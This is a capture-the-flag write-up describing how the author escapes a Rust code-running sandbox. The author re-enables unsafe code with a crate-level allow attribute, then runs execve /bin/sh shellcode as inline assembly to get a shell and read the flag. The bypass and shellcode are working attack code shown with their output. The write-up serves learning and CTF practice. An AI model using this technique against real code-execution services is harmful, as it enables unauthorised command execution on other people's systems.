Tags: rust asm 

Rating:

# Crusty Sandbox && Crsty sndbx

Both services let us load and execute rust programs.

```plain
Welcome to the Rust Playground!
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 1
Name: Test program
Please enter the code of your ground. Say "trait" when you're done.

pub fn main() {
let what = "flag";
println!("Give me the {}, please.", what);
}

trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Test program
-> 2
Give me the flag, please.
```

However, we cannot run exactly everything. For example the following code, which attempts to run `ls -la`, results in a compilation error.

```
use std::str;
use std::process::Command;

pub fn main() {
let output = Command::new("ls")
.arg("-la")
.output()
.expect("failed to execute");

println!("{}", str::from_utf8(&output.stdout).unwrap());
}
```

```
error[E0433]: failed to resolve: maybe a missing crate `std`?
--> playground.rs:3:5
|
3 | use std::process::Command;
| ^^^ maybe a missing crate `std`?

error[E0432]: unresolved import `std`
--> playground.rs:2:5
|
2 | use std::str;
| ^^^ maybe a missing crate `std`?

error[E0433]: failed to resolve: use of undeclared type or module `Command`
--> playground.rs:6:18
|
6 | let output = Command::new("sh")
| ^^^^^^^ use of undeclared type or module `Command`

error: aborting due to 3 previous errors

Some errors have detailed explanations: E0432, E0433.
For more information about an error, try `rustc --explain E0432`.
```

Not being much of a Rust person, the very first thing I thought about was: _"Can I write inline assembly?"_. Of course I can!

```
pub fn main() {
let result: i32;
unsafe {
asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
}
println!("eax is currently {}", result);
}
```

This prints `eax is currently 2` on my local machine but produces this very disappointing error on the server:

```
error: usage of an `unsafe` block
--> playground.rs:4:5
|
4 | / unsafe {
5 | | asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
6 | | }
| |_____^
|
note: the lint level is defined here
--> main.rs:6:10
|
6 | #[forbid(unsafe_code)]
| ^^^^^^^^^^^

error: aborting due to previous error
```

Looks like `#[forbid(unsafe_code)]` is preventing asm. What if...

```plain
Name: Test asm
Please enter the code of your ground. Say "trait" when you're done.

#![allow(unsafe_code)]

pub fn main() {
let result: i32;
unsafe {
asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
}
println!("eax is currently {}", result);
}

trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Test asm
-> 2
eax is currently 2
```

Yeah! Let's get this flag!

```plain
Name: Gimme shell plz
Please enter the code of your ground. Say "trait" when you're done.

#![allow(unsafe_code)]

pub fn main() {
unsafe {
asm!("mul %esi \n\
push %rax \n\
movabs $$0x68732f2f6e69622f,%rdi \n\
push %rdi \n\
mov %rsp,%rdi \n\
mov $$0x3b,%al \n\
syscall");
}
}

trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Gimme shell plz
-> 2
ls
app-c2bb5025a1bb
bin
get_flag
lib
lib64
proc
tmp
usr
./get_flag
p4{my_sc0re_w@s_286_l3t_me_kn0w_1f_y0u_b3@t_1t_0adad38edc24}
```

But wait! What does the flag say? :/

Minified this program is 160 bytes... Did I just beat them? *<dopeness intensifies>*

Turns out this solution was unintended, while the intended one was https://github.com/rust-lang/rust/issues/25860.

Original writeup (https://gist.github.com/mcieno/9fff4ca1c94a57d44af7fe00a33f7b59).